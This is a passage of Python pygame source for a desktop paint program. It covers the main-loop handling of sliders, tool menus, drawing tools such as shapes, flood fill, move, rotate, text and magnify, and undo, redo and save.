mouse_press[0] and 90*size_ratio<=mouse_x<=155*size_ratio and 200*size_ratio<=mouse_y<=220*size_ratio:\n            hsl = list(pygame.Color(chosen_colour[0],chosen_colour[1],chosen_colour[2]).hsla)\n            hsl[2] = (mouse_x-90*size_ratio)/(65*size_ratio)\n            hsl[1] /= 100\n            if hsl[2] <0.01: #Make sure the colour doesn't go all the way black or white so that they can scroll back and the colour returns\n                hsl[2]=0.01\n            elif hsl[2]>0.99:\n                hsl[2] = 0.99\n            chosen_colour = hsl_to_rgb(hsl[:3])\n            make_color()\n\n        #Check to see if they are dragging the thickness slider\n        elif mouse_press[0] and 90*size_ratio<=mouse_x<=155*size_ratio and 225*size_ratio<=mouse_y<=245*size_ratio:\n            chosen_thickness = int(25*(mouse_x-90*size_ratio)/(65*size_ratio))\n            if chosen_thickness < 1:\n                chosen_thickness = 1\n            elif chosen_thickness > 25:\n                chosen_thickness = 25\n            make_color()\n\n        #Check to see if they changed pages for the tools.\n        elif scrolled != 0 and 890*size_ratio<=mouse_x<=1010*size_ratio and 210*size_ratio<=mouse_y<=410*size_ratio: \n            selection_page += scrolled\n            if selection_page<0:\n                selection_page = 0\n            elif len(extra_info[chosen_category])-selection_page*6 <= 0: #If it is above the limit, set it to the limit\n                selection_page = (len(extra_info[chosen_category])-1)//6 \n            else:\n                chosen_item = \"None\"\n                tool_select_buttons, orig_bottom_right = tool_page(True)\n\n        #Check to see if they clicked on the filled/unfilled button while the category is shapes\n        elif 930*size_ratio<=mouse_x<=965*size_ratio and 370*size_ratio<=mouse_y<=425*size_ratio and chosen_category == \"Shapes\": \n            if not last_selected[\"chosen_filled\"]: #Subsurface before we blit text on top so that we can blit it when the mouse moves away\n                bf_filled_text = nintendo_alone.subsurface(([int(e*size_ratio) for e in [910,410,75,50]]))\n      \n            if clicked: #if clicked, change it to the other (filled becomes unfilled, and vice versa)\n                if not chosen_filled:\n                    chosen_filled = chosen_colour\n                else:\n                    chosen_filled = None\n                change_filled()\n                last_selected[\"chosen_filled\"] = False\n                screen.blit(bf_filled_text, (int(910*size_ratio), int(410*size_ratio)))\n                \n            else: #While hovered on, display the status of the filled/unfilled\n                last_selected[\"chosen_filled\"] = True\n                largest_size, x_taken, y_taken, myfont = font_size(\"timesnewroman\",\"Unfilled\",int(60*size_ratio),int(48*size_ratio),100)\n                text_with_outline({True:\"Filled\", False:\"Unfilled\"}[bool(chosen_filled)],myfont,(255,255,255),(0,0,0),915,410,1,True)                \n            \n        elif last_selected[\"chosen_filled\"]: #If we blit text last frame, remove text animation\n            last_selected[\"chosen_filled\"] = False\n            screen.blit(bf_filled_text, (int(910*size_ratio), int(410*size_ratio)))\n            \n                \n        ####################################\n        #Check upper right side being clicked (Only paint has right side buttons)\n            \n        veiwing_image = None\n        for item in paint_buttons: #Given the 4 categories check if any are hovered on\n            if paint_buttons[item].collidepoint((mouse_x,mouse_y)):\n                veiwing_image = item\n                break\n            \n        if veiwing_image:\n            #Make hovered category larger, and set it to the new category if clicked\n            \n            last_selected[\"Paint Category\"] = True\n            x,y = {\"Tools\":[920,65],\"Stamps\":[920,125],\"Shapes\":[890,95],\"Extras\":[950,95]}[veiwing_image] #Find the position for the new image\n            screen.blit(orig_top_right,[int(e*size_ratio) for e in (875,25)]) #Put the old version first\n\n            #Blit the image larger, and a little up and a little to the left\n            image = screen.blit(pygame.transform.smoothscale(images_folder[veiwing_image],[int(i*size_ratio) for i in [45,45]]),(int((x-7.5)*size_ratio),int((y-7.5)*size_ratio)))\n            if clicked:\n                chosen_category = veiwing_image\n                selection_page = 0\n                chosen_item = \"None\"\n                last_selected[\"Paint Tools\"] = False\n                \n                #Make slide for category name\n                largest_size, x_taken, y_taken, myfont = font_size(\"timesnewroman\",\"Stamps\",int(75*size_ratio),int(50*size_ratio),100) #Stamps is the longest one\n                dimensions = [int(e*size_ratio) for e in (890,175,110,280)]\n                screen.blit(nintendo_alone.subsurface(dimensions),(dimensions[0],dimensions[1]))\n                \n                for a in range(len(chosen_category)):\n                    text_with_outline(chosen_category[:a+1],myfont,(255,255,255), (0,0,0), 890, 175, 1, True)\n                    pygame.display.flip()\n                    pygame.time.wait(50)\n                    \n                #Call function to animate the new page\n                tool_select_buttons, orig_bottom_right = tool_page(True)\n\n                change_filled() #Displays the fill rect if they are on shapes, else hides it\n                \n        elif last_selected[\"Paint Category\"]:\n            last_selected[\"Paint Category\"] = False\n            screen.blit(orig_top_right,[int(e*size_ratio) for e in (875,25)]) #Put the old version since they are done hovering over the categories\n\n        ####################################\n        #Check lower right side being clicked (Only paint has right side buttons)\n             \n        c = 0 #c for Counter, used to figure out where the tool needs to be positioned \n        \n        something_changed = False #Flag to know if any of the tools are hovered on\n        \n        for item in extra_info[chosen_category][selection_page*6:(selection_page+1)*6]: #Loop through the 6 tools on the page\n            #If they are hovered on, blit the animation and check if they are clicked\n            if tool_select_buttons[item].collidepoint((mouse_x,mouse_y)): \n                last_selected[\"Paint Tools\"] = True\n                something_changed = True\n                screen.blit(orig_bottom_right,[int(e*size_ratio) for e in (890,210)]) #Remove any traces by swiping from another one\n                image = images_folder[chosen_category + \" \" + item]\n\n                if chosen_item != \"None\": #Draw rectangle for old one since we blit orig_bottom_right, which does not include the rectangle\n                    item_index = extra_info[chosen_category].index(chosen_item)%6\n                    pygame.draw.rect(screen,0,[int(e*size_ratio) for e in [900+60*(item_index%2),220+50*(item_index//2),35,35]],math.ceil(size_ratio))\n                    \n                screen.blit(pygame.transform.smoothscale(image,(int(50*size_ratio),int(50*size_ratio))),[int(e*size_ratio) for e in [890+60*(c%2),210+50*(c//2)]])\n                \n                if clicked:\n                    screen.blit(orig_bottom_right,[int(e*size_ratio) for e in (890,210)])\n                    chosen_item = item!= chosen_item and item or \"None\" #Change item to be the selected one, or none if it is the same tool they have.\n            c+=1\n        if not something_changed and last_selected[\"Paint Tools\"]: #If they are not hovering on anything, but were last frame, remove animation\n            last_selected[\"Paint Tools\"] = False\n            screen.blit(orig_bottom_right,[int(e*size_ratio) for e in (890,210)]) #Remove any traces of animation\n            if chosen_item != \"None\": #Draw rectangle for old one since we blit orig_bottom_right\n                item_index = extra_info[chosen_category].index(chosen_item)%6\n                pygame.draw.rect(screen,0,[int(e*size_ratio) for e in [900+60*(item_index%2),220+50*(item_index//2),35,35]],math.ceil(size_ratio))\n\n\n        ####################################\n        #Drawing on the canvas\n\n        #Identify what they are doing with a paint_status variable:\n                \n        #Check for status, 0 = Just Ended, 1 = Just Started, 2 = Holding, 3= Not clicking at all\n        if not mouse_press[0] or not paint_canvas.collidepoint((mouse_x,mouse_y)): #They're not clicking or are not in range\n            paint_status = paint_status==3 and 3 or paint_status==0 and 3 or 0\n        elif clicked or paint_status==3: #Clicked or dragged into the screen, which should count as a new click\n            paint_status = 1\n        else: #Else, they are just dragging\n            paint_status = 2                        \n\n        #Set cliping and only edit inside\n        screen.set_clip((paint_canvas))       \n        if chosen_item != \"None\":\n            #If they have a tool on:\n            #needed specifies the kind of information we need, and thickness_drawn is the thickness, based off of their chosen thickness and the size_ratio\n            \n            needed = chosen_item in info_required[chosen_category] and info_required[chosen_category][chosen_item] or info_required[chosen_category][\"Everything\"]\n            thickness_drawn = math.ceil(chosen_thickness*size_ratio) #Draws larger or smaller thickness according to screen size\n                           \n            if needed == \"Drag\":\n                #We need to do something at every step while they drag, and it is complete once they let go\n                if paint_status==2:\n                    if chosen_item == \"Pencil\" or chosen_item==\"Eraser\": #Connect lines to make pencil and eraser\n                        col = chosen_item == \"Eraser\" and (210,210,210) or chosen_colour\n                        pygame.draw.circle(screen,col,(mouse_x,mouse_y),thickness_drawn//2)\n                        pygame.draw.line(screen,col,(mouse_x,mouse_y),(last_x,lasy_y),thickness_drawn+2)\n                    elif chosen_item == \"Spray\":\n                        r = int(thickness_drawn*1.5)\n                        for repeat in range (thickness_drawn):\n                            #Randomize X, and plug it into the formula to find Y.\n                            chosen_x = random.randint(r*-1, r)\n                            max_y = int((r**2-chosen_x**2)**0.5)\n                            chosen_y = random.randint(max_y*-1,max_y)\n                            screen.set_at((mouse_x+chosen_x,mouse_y+chosen_y),chosen_colour)\n                    elif chosen_item == \"Marker\":\n                        make_line((mouse_x,mouse_y),(last_x,lasy_y), thickness_drawn, chosen_colour)\n                        \n                elif paint_status == 0: #The action is complete, screenshot what they have so far and add it to the undo list.\n                    undo_list.append(screen.copy().subsurface(paint_canvas))\n                    redo_list = []\n                    \n            elif needed == \"Click\": #Stamps\n                #We only need to do something the instant they click, and can save the screen right after.\n                #But while they drag, we show them how it will look if they let go\n                \n                if paint_status == 1: #Set up all the variables when they just start clicking\n                     bf_drawing_canvas = screen.copy().subsurface(paint_canvas)\n                     image_wanted = loaded_stamps[chosen_item]\n                     len_image = (thickness_drawn*10,int(thickness_drawn*10*image_wanted[1]))\n                     stamp_image = pygame.transform.smoothscale(image_wanted[0], len_image)\n                     \n                elif paint_status == 2: #Blit the original, then the stamp centered on their mouse\n                     screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                     screen.blit(stamp_image, ([[mouse_x,mouse_y][e]-len_image[e]/2 for e in range (2)]))\n                     \n                elif paint_status == 0: #Blit the original, and if in bounds, blit the stamp\n                    screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                    if paint_canvas.collidepoint((mouse_x,mouse_y)):\n                        screen.blit(stamp_image, ([[mouse_x,mouse_y][e]-len_image[e]/2 for e in range (2)]))\n                        undo_list.append(screen.copy().subsurface(paint_canvas))\n                        redo_list = []\n\n                                   \n            elif needed == \"S+E\": #Most shapes and Extras\n                #We only care about the starting position and the ending position when they drag.\n                #We also let them hold shift to make the selection box a square\n                \n                if paint_status==1: #Save the original and save the starting position\n                    bf_drawing_canvas = screen.copy().subsurface(paint_canvas)\n                    shape_start = [mouse_x,mouse_y]\n\n                elif paint_status == 2 or paint_status==0: #Check for shift\n                    cur = [mouse_x, mouse_y]\n                    shift_held = pygame.key.get_mods() & pygame.KMOD_SHIFT\n                    if shift_held:\n                        dif = min([abs(a-b) for a,b in zip(shape_start, cur)])\n                        for a in range(2):\n                            if shape_start[a]>cur[a]:\n                                cur[a] = shape_start[a] - dif\n                            else:\n                                cur[a] = shape_start[a] + dif\n                                \n                if paint_status==2:\n                    #They are dragging. If it is a shape, show them how it looks so far. If it is an extra, show them the selection box\n                    \n                    screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n\n                    #Variables used repetively in dictionary are layed out here to make dictionary a little more clear\n                    sx,sy = shape_start\n                    mx,my = cur\n\n                    #Note to future self: It took me years to get all of these values for the dictionary, don't change anything unless you know what you're doing\n                    \n                    connectors = { #This dictionary holds all the vertice locations so that these shapes can all be drawn the same way\n                    \"Line\": [shape_start,cur, shape_start], \"Rectangle\": [shape_start, [sx, my], cur, [mx,sy]],\"Triangle\": [cur, [sx,my], [(sx+mx)//2,sy]],\n                    \"Diamond\": [[(sx+mx)//2,sy], [mx,(sy+my)//2], [(sx+mx)//2,my], [sx,(sy+my)//2]], \"Parallelogram\": [shape_start, [mx + (mx-sx)//5,sy],cur , [sx + (sx-mx)//5,my]],\n                    \"Falcon\": [[(sx+mx)//2,sy], [mx, (sy+my)//2], [mx + (sx-mx)//3,my],[(sx+mx)//2,(sy+my)//2] , [sx + (mx-sx)//3,my], [sx, (sy+my)//2] ],\n                    \"Star\": [[(sx+mx)//2,sy], [sx + (mx-sx)//3,sy + (my-sy)//3],  [sx, sy + (my-sy)//3], [sx + (mx-sx)//4, my + (sy-my)//3], [sx + (mx-sx)//6, my],\n                             [(sx+mx)//2, my + (sy - my)//4], [mx + (sx-mx)//6, my], [mx + (sx-mx)//4, my + (sy-my)//3], [mx, sy + (my-sy)//3], [mx + (sx-mx)//3, sy + (my-sy)//3]],\n                    \"Arrow\":[[mx,sy+(my-sy)//3],[mx,my+(sy-my)//3],[sx+(mx-sx)//3, my+(sy-my)//3],[sx+(mx-sx)//3,my],[sx, (my+sy)//2],[sx+(mx-sx)//3,sy],[sx+(mx-sx)//3,sy+(my-sy)//3]],\n                    \"Envelope\":[[sx,sy], [sx,my], cur, [mx,sy], [(mx+sx)//2, (sy+my)//2], [sx,sy], [mx,sy]],\n                    \"Lightning\":[[sx+(mx-sx)//7,sy],[sx+(mx-sx)//3,sy+(my-sy)//4], [(sx+mx)//2, sy+(my-sy)//4], cur, [(sx+mx)//2, (sy+my)//2], [sx+(mx-sx)//4,(sy+my)//2], [sx,sy+(my-sy)//7]],\n                    \"Cross\":[[mx+(sx-mx)//3,sy],[mx+(sx-mx)//3,sy+(my-sy)//3],[mx,sy+(my-sy)//3],[mx,my+(sy-my)//3],[mx+(sx-mx)//3,my+(sy-my)//3],[mx+(sx-mx)//3,my],\n                             [sx+(mx-sx)//3,my],[sx+(mx-sx)//3,my+(sy-my)//3],[sx,my+(sy-my)//3],[sx,sy+(my-sy)//3],[sx+(mx-sx)//3,sy+(my-sy)//3],[sx+(mx-sx)//3,sy]]\n                        }\n                    if chosen_item in connectors: #One of the 11 shapes in the dictionary\n                        #If they chose to fill it, make the filled polygon. Then, make the outline by creating lines from all the vertices. The lines are made with circles\n                        if chosen_filled:\n                            pygame.draw.polygon(screen,chosen_filled,connectors[chosen_item])\n\n                        for st, en in zip(connectors[chosen_item], connectors[chosen_item][1:]+[connectors[chosen_item][0]]):\n                            make_line(st, en, thickness_drawn//2, chosen_colour)\n                            \n                    elif chosen_item == \"Ellipse\": #Draw the elipse since it cannot be done with draw.polygon\n                        if chosen_filled:\n                            pygame.draw.ellipse(screen, chosen_filled, (min(mx,sx),min(my,sy),abs(mx-sx),abs(my-sy)))\n                        if not (abs(mx-sx)<thickness_drawn*2 or abs(my-sy)<thickness_drawn*2):\n                            pygame.draw.ellipse(screen, chosen_colour, (min(mx,sx)-1,min(my,sy),abs(mx-sx),abs(my-sy)), thickness_drawn)\n                            pygame.draw.ellipse(screen, chosen_colour, (min(mx,sx)+1,min(my,sy),abs(mx-sx),abs(my-sy)), thickness_drawn)\n                            pygame.draw.ellipse(screen, chosen_colour, (min(mx,sx),min(my,sy)-1,abs(mx-sx),abs(my-sy)), thickness_drawn)\n                            pygame.draw.ellipse(screen, chosen_colour, (min(mx,sx),min(my,sy)+1,abs(mx-sx),abs(my-sy)), thickness_drawn)\n                        else:\n                            pygame.draw.ellipse(screen, chosen_colour, (min(mx,sx),min(my,sy),abs(mx-sx),abs(my-sy)))\n                    else: #One of the extras (ex. crop)\n                        layer = pygame.Surface((abs(mx-sx),abs(my-sy)))\n                        layer.set_alpha(100)\n                        screen.blit(layer, (min(mx,sx),min(my,sy))) \n\n                        \n                elif paint_status == 0: #They just let go\n                    if chosen_category == \"Extras\": #If it was an extra, do the effect wanted\n                        screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                        \n                        sx,sy = shape_start\n                        mx,my = cur\n\n                        rect_args = [min(mx,sx),min(my,sy),abs(mx-sx),abs(my-sy)]\n                        canvas_args = list(paint_canvas)\n                        cur_screen = screen.copy()\n                        \n                        if paint_canvas.collidepoint(mx,my):\n                            #They are in range. Make the special effect they asked for\n                            \n                            if chosen_item == \"Crop\": #Take the part they selected and make it the screen\n                                cropped_part = pygame.transform.scale(cur_screen.subsurface(rect_args), (canvas_args[2],canvas_args[3]))\n                                screen.blit(cropped_part, (canvas_args[0],canvas_args[1]))\n                                \n                            elif chosen_item == \"Flip V\" or chosen_item == \"Flip H\": #Flip the selection along the x/y axis\n                                x_bool, y_bool = [True,False] if chosen_item == \"Flip H\" else [False,True]\n                                flipped_part = pygame.transform.flip(cur_screen.subsurface(rect_args),x_bool, y_bool)\n                                screen.blit(flipped_part, (rect_args[0],rect_args[1]))\n                                \n                            elif chosen_item == \"Darken\": #Create a transluecent layer on top to darken the selection\n                                layer = pygame.Surface(rect_args[2:])\n                                layer.set_alpha(150)\n                                screen.blit(layer, rect_args[0:2])\n                                \n                            elif chosen_item == \"Inverse V\": #Split the selection in two, and flip each. This creates a folding effect\n                                inversed_part = cur_screen.subsurface(rect_args)\n                                upper_inverse = pygame.transform.flip(inversed_part.subsurface((0,0,rect_args[2],rect_args[3]//2)),False, True)\n                                lower_inversed = pygame.transform.flip(inversed_part.subsurface((0,rect_args[3]//2,rect_args[2],rect_args[3]//2)),False, True)\n                                screen.blit(upper_inverse, rect_args[:2])\n                                screen.blit(lower_inversed, (rect_args[0],rect_args[1] + rect_args[3]//2))\n                                \n                            elif chosen_item == \"Inverse H\": #Same as Inversing V, but this one goes left and right\n                                inversed_part = cur_screen.subsurface(rect_args)\n                                left_inverse = pygame.transform.flip(inversed_part.subsurface((0,0,rect_args[2]//2,rect_args[3])),True, False)\n                                right_inversed = pygame.transform.flip(inversed_part.subsurface((rect_args[2]//2,0,rect_args[2]//2,rect_args[3])),True, False)\n                                screen.blit(left_inverse, rect_args[:2])\n                                screen.blit(right_inversed, (rect_args[0] + rect_args[2]//2, rect_args[1]))\n                                \n                            elif chosen_item == \"Inverse Color\": #Change every pixel within range to the inverse of itself (255-r,255-g,255-b)\n                                pxarray = pygame.PixelArray(screen)\n                                for pixel_x in range (rect_args[0],rect_args[0]+rect_args[2]+1):\n                                    for pixel_y in range (rect_args[1],rect_args[1]+rect_args[3]+1):\n                                        pixel_colour = pxarray[pixel_x,pixel_y]\n                                        new_col = 16777215 - pixel_colour\n                                        pxarray[pixel_x,pixel_y] = new_col\n                                del pxarray\n\n                    undo_list.append(screen.copy().subsurface(paint_canvas))\n                    redo_list = []\n                    \n                    \n            elif needed == \"Special\":\n                #These tools are unique and have features that can't be easily categorized\n                \n                canvas_args = list(paint_canvas)\n                if chosen_item == \"Fill\" and paint_status==1: #Fills with pixel array by using BFS\n                    \n                    pxarray = pygame.PixelArray(screen)\n                    orig_col = pxarray[mouse_x,mouse_y] #The first colour they click\n                    wanted_col = screen.map_rgb(chosen_colour) #The colour they want to turn the orig_col into\n                    \n                    if orig_col != wanted_col: #Check to see if action must be done\n                        checking = set([\"%s,%s\"%(mouse_x,mouse_y)]) #Set of positions to check\n                        #Since we needed a set, and lists are not hashable, I stored the positions as strings, x and y seperated by a comma\n                        while checking:\n                            next_level = [] #List of items to check next time the loop runs\n                            for item in checking:\n                                x,y = [int(e) for e in item.split(\",\")]\n                                if paint_canvas.collidepoint(x,y) and pxarray[x,y] == orig_col:\n                                    pxarray[x,y] = wanted_col\n                                    next_level += [\"%s,%s\"%(x+1,y), \"%s,%s\"%(x-1,y),\"%s,%s\"%(x,y+1),\"%s,%s\"%(x,y-1)]\n                                    \n                            checking = set(next_level)\n                            \n                        undo_list.append(screen.copy().subsurface(paint_canvas))\n                        redo_list = []\n                        \n                    del pxarray\n                    \n                elif chosen_item == \"Move\" or chosen_item == \"Rotate\":\n                    #first, they select a box to move/rotate\n                    #then, they move their mouse around and it follows them\n                    #When they click again, it is done\n                    #If they go out of the canvas, it is cancelled\n                    \n                    if paint_status == 0: #They just stopped holding\n                        if not move_selected and move_started and paint_canvas.collidepoint(mouse_x,mouse_y): #They selected an area (STEP 3)\n                            mx,my = mouse_x,mouse_y\n                            sx,sy = shape_start\n                            rect_args = [min(mx,sx), min(my,sy), abs(mx-sx), abs(my-sy)]\n\n                            screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                            move_selected = screen.copy().subsurface(rect_args)\n                            move_selected.set_colorkey((210,210,210))\n                            \n                            pygame.draw.rect(screen,(210,210,210),rect_args)\n                                                        \n                            third_step_canvas = screen.copy().subsurface(paint_canvas)\n\n                        elif move_started: #They selected out of bounds\n                            screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                            move_selected = None\n                            move_started = False\n                            \n                    elif paint_status == 1: #They just clicked\n                        if move_selected: #They have chosen the final place to move it, and are clicking to change it (STEP 5)\n                            #(Final Step)\n                            screen.blit(third_step_canvas, (int(180*size_ratio),int(45*size_ratio)))\n\n                            if chosen_item == \"Move\":\n                                #Center the part that must be moved\n                                screen.blit(move_selected,[mouse_x-rect_args[2]//2,mouse_y-rect_args[3]//2])\n                                \n                            elif chosen_item == \"Rotate\":\n                                mid_x,mid_y = ((sx+mx)//2, (sy+my)//2)\n                                x,y = (mouse_x - mid_x, mouse_y - mid_y)\n\n                                angle_wanted = math.degrees(math.atan2(x,y)) - 90  #Calculating the angle we need to rotate it\n\n                                #Take the image, rotate it by the angle we want, then position it on the same mid point so that it rotates around it's center\n                                \n                                rotated_image = pygame.transform.rotate(move_selected, angle_wanted)\n                                rotated_rect = rotated_image.get_rect()\n                                \n                                screen.blit(rotated_image, (mid_x - rotated_rect.width//2 ,mid_y - rotated_rect.height//2))\n                            \n                            move_selected = None\n                            move_started = False\n                            \n                            undo_list.append(screen.copy().subsurface(paint_canvas))\n                            redo_list = []\n                    \n                        else: #They are starting (STEP 1)\n                            bf_drawing_canvas = screen.copy().subsurface(paint_canvas)\n                            shape_start = [mouse_x,mouse_y]\n                            move_started = True\n\n                    #They are holding on the mouse    \n                    elif paint_status == 2 and not move_selected and move_started: #They are selecting an area to move (STEP 2)\n                        mx,my = mouse_x,mouse_y\n                        sx,sy = shape_start\n\n                        #Show them the layer they are selecting so far\n                        screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                        layer = pygame.Surface((abs(mx-sx),abs(my-sy)))\n                        layer.set_alpha(100)\n                        screen.blit(layer, (min(mx,sx),min(my,sy)))\n\n                        \n                    elif paint_status == 3 and move_selected and paint_canvas.collidepoint(mouse_x,mouse_y):\n                        #They already selected an area, and are now choosing the new position (STEP 4)\n                        screen.blit(third_step_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                        if chosen_item == \"Move\":\n                            screen.blit(move_selected,[mouse_x-rect_args[2]//2,mouse_y-rect_args[3]//2])\n                        else:\n                            mid_x,mid_y = ((sx+mx)//2, (sy+my)//2)\n                            x,y = (mouse_x - mid_x, mouse_y - mid_y)\n\n                            angle_wanted = math.degrees(math.atan2(x,y)) - 90#Calculating the angle we need to rotate it\n\n                            #Take the image, rotate it by the angle we want, then position it on the same mid point so that it rotates around it's center\n                            \n                            rotated_image = pygame.transform.rotate(move_selected, angle_wanted)\n                            rotated_rect = rotated_image.get_rect()\n                            \n                            screen.blit(rotated_image, (mid_x - rotated_rect.width//2 ,mid_y - rotated_rect.height//2))\n                        \n                    elif paint_status == 3 and move_selected: #They hovered away from the canvas\n                        #Cancel what they have done so far\n                        screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                        move_selected = None\n                        move_started = False\n                    \n                elif chosen_item == \"Text\":\n                    #Track when they are typing and display it on the screen\n                    \n                    if paint_status == 1 and not typing_started: #They just started typing, make the variables\n                        typing_started = [mouse_x,mouse_y]\n                        typing_text = \"\"\n                        bf_drawing_canvas = screen.copy().subsurface(paint_canvas)\n\n                    elif typing_started and (paint_status == 1 or not paint_canvas.collidepoint(mouse_x,mouse_y) or pressed_enter):\n                        #They finished by clicking, entering, or moving mouse away\n                        \n                        screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                        font_size_w = thickness_drawn*2\n                        myfont = pygame.font.SysFont(\"arial\", font_size_w)\n                        text_surface = myfont.render(typing_text, True, chosen_colour)\n                        screen.blit(text_surface,typing_started)\n                        \n                        undo_list.append(screen.copy().subsurface(paint_canvas))\n                        redo_list = []\n                        \n                        typing_started = False\n                        \n                    elif typing_started: #They are typing right now\n                        \n                        typing_text += new_text #Adding the text they type\n                        typing_text = typing_text[:len(typing_text)-del_clicked] #Delete any that they delete\n                        \n                        #Make the shown text include a | every couple seconds for a second\n                        shown_text = typing_text\n                        if loop_start % 2 < 1:\n                            shown_text += \"|\"\n\n                        #Blit the original canvas, then the text they have typed so far\n                        screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                        font_size_w = thickness_drawn*2\n                        myfont = pygame.font.SysFont(\"arial\", font_size_w)\n                        text_surface = myfont.render(shown_text, True, chosen_colour)\n                        screen.blit(text_surface,typing_started)\n                        \n                elif chosen_item == \"Magnify\":\n                    #While they hover around the canvas, it shows them the rectangle they can see\n                    #While they hold, they magnify it\n                    \n                    if paint_status == 2: #They are holding it, so show them the magified image\n                        screen.blit(bf_drawing_canvas, canvas_args[:2])\n                        rect_args = [mouse_x-thickness_drawn*3,mouse_y-thickness_drawn*3, thickness_drawn*6,thickness_drawn*6]\n\n                        #Don't subsurface out of bounds, check if you're going over\n                        if rect_args[1]<0:\n                            rect_args[1] = 0\n                        elif rect_args[1] + rect_args[3]>499:\n                            rect_args[3] = 499-rect_args[1]\n\n                        #Blit the part they are magnifying\n                        magnified_part = screen.copy().subsurface(rect_args)\n                        screen.blit(pygame.transform.scale(magnified_part, canvas_args[2:]),canvas_args[:2])\n                        \n                    elif (paint_status == 3 or paint_status==1) and paint_canvas.collidepoint(mouse_x,mouse_y): #Hovering around without clicking\n                        if magnify_start: #They have already started magnifying\n                            screen.blit(bf_drawing_canvas, canvas_args[:2])\n                        else: #They just started hovering, take an image first\n                            bf_drawing_canvas = screen.copy().subsurface(paint_canvas)\n                            magnify_start = True\n                            \n                        layer = pygame.Surface((thickness_drawn*6,thickness_drawn*6))\n                        layer.set_alpha(75)\n                        screen.blit(layer, ([e-thickness_drawn*3 for e in [mouse_x,mouse_y]]))\n        \n                    elif paint_status == 3 and magnify_start: #They were magnifying before, return the screen to normal state\n                        screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                        magnify_start = False \n                \n                elif chosen_item == \"Dropper\" and paint_status==1: #Change their chosen colour\n                    screen.set_clip(None) #We need to adjust colour outside, so we must get rid of the clipping\n                    chosen_colour = screen.get_at((mouse_x,mouse_y))\n                    make_color()\n                elif chosen_item == \"Polygon\":\n                    #Let them connect vertices, and we draw circles. If they click on the first one, it makes the polygon in order.\n                    #If they go out of the canvas or connect it back with less than 3 vertices, ignore the action\n                    \n                    if not polygon_start and paint_status==1: #First point they click, keep track of the variables\n                        polygon_start = [mouse_x,mouse_y]\n                        polygon_points = [polygon_start]\n                        \n                        bf_drawing_canvas = screen.copy().subsurface(paint_canvas)\n                        polygon_start = pygame.draw.circle(screen, chosen_colour, polygon_start, 15, 1) #The rect of the first circle, to check if they click on it\n                        \n                    elif paint_status==1: \n                        if polygon_start.collidepoint((mouse_x,mouse_y)): #They are clicking the first point to finish the polygon\n                            screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                            if len(polygon_points)>2: #They made more than 2 points, draw the polygon like the other shapes\n                                if chosen_filled:\n                                    pygame.draw.polygon(screen,chosen_filled,polygon_points)\n                                    \n                                for st, en in zip(polygon_points, polygon_points[1:]+[polygon_points[0]]):\n                                    make_line(st, en, thickness_drawn//2, chosen_colour)\n                                    \n                                undo_list.append(screen.copy().subsurface(paint_canvas))\n                                redo_list = []\n                                \n                            else: #They didnt not select enough points, cancel the polygon\n                                polygon_points = [] \n                            polygon_start = None\n                            \n                        else: #They're connecting more points\n                            pygame.draw.circle(screen, chosen_colour, (mouse_x,mouse_y), 15, 1)\n                            polygon_points.append([mouse_x,mouse_y])\n                            \n                    elif not paint_canvas.collidepoint((mouse_x,mouse_y)) and polygon_start: #They hovered out\n                        screen.blit(bf_drawing_canvas, (int(180*size_ratio),int(45*size_ratio)))\n                        polygon_points = []\n                        polygon_start = None\n                                                       \n                        \n        screen.set_clip(None) #Remove clipping since it is done\n\n\n        ####################################\n        #Check top bottons (Undo/Redo/Save)\n        \n        veiwing_image = None #Look for any image hovered on\n        for item in top_buttons:\n            if top_buttons[item].collidepoint((mouse_x,mouse_y)):\n                veiwing_image = item\n                break\n\n        if last_selected[\"Top Bar\"]: #If they had an animation last time, blit it back to how it should be\n            screen.blit(last_selected[\"Top Bar\"][0],last_selected[\"Top Bar\"][1])\n            last_selected[\"Top Bar\"] = None\n            \n        if veiwing_image: #If they are hovering on it, animate it to have a layer and selection box\n            \n            dimensions = list(top_buttons[veiwing_image])\n            pos, size = dimensions[:2], dimensions[2:]\n        \n            last_selected[\"Top Bar\"] = [screen.copy().subsurface(pos, size), pos] #[surface, position]. If it is not None earlier, the surface is blit at the pos, removing the animation\n\n            #Making the animation\n            overlay = pygame.Surface(size)\n            overlay.set_alpha(100)\n            screen.blit(overlay,pos)\n            pygame.draw.rect(screen,(255,255,255),(pos,size),1)\n            \n            if clicked:\n                #They clicked one of them\n                canvas_args = list(paint_canvas)\n                if veiwing_image == \"Undo\" and len(undo_list)>0:\n                    #They clicked undo. Move the last action to the redo list, and then take the last frame we have since the last action and put it on top.\n                    #undo_list is a list of images of how the states the canvas is in after every action is complete\n                    \n                    last = undo_list.pop()\n                    redo_list.append(last)\n                    if len(undo_list)>0:\n                        screen.blit(pygame.transform.scale(undo_list[-1],canvas_args[2:]),canvas_args[:2])\n                    else:\n                        pygame.draw.rect(screen, (210,210,210),canvas_args)\n                    \n                elif veiwing_image == \"Redo\" and len(redo_list)>0:\n                    #They clicked redo. Move the last image we moved from undo back into redo, and blit that image back on top\n                    last = redo_list.pop()\n                    undo_list.append(last)\n                    screen.blit(pygame.transform.scale(last,canvas_args[2:]),canvas_args[:2])\n                    \n                elif veiwing_image == \"Save\":\n                    #Save their file according to the file_name they chose at the very start\n                    local_saves[file_name] = screen.copy().subsurface(canvas_args)\n                    pygame.image.save(screen.copy().subsurface(canvas_args), \"Saves//\"+file_name+\".png\") #file_name\n\n    ####################################\n    # Make the custom select paint menu\n                    \n    elif window_chosen == \"Select Paint\":\n        #Give them the option between save and load at the top\n        largest_size, x_taken, y_taken, myfont = font_size(\"timesnewroman\",\"Load\",int(100*size_ratio),int(50*size_ratio),100)\n        items_positions = 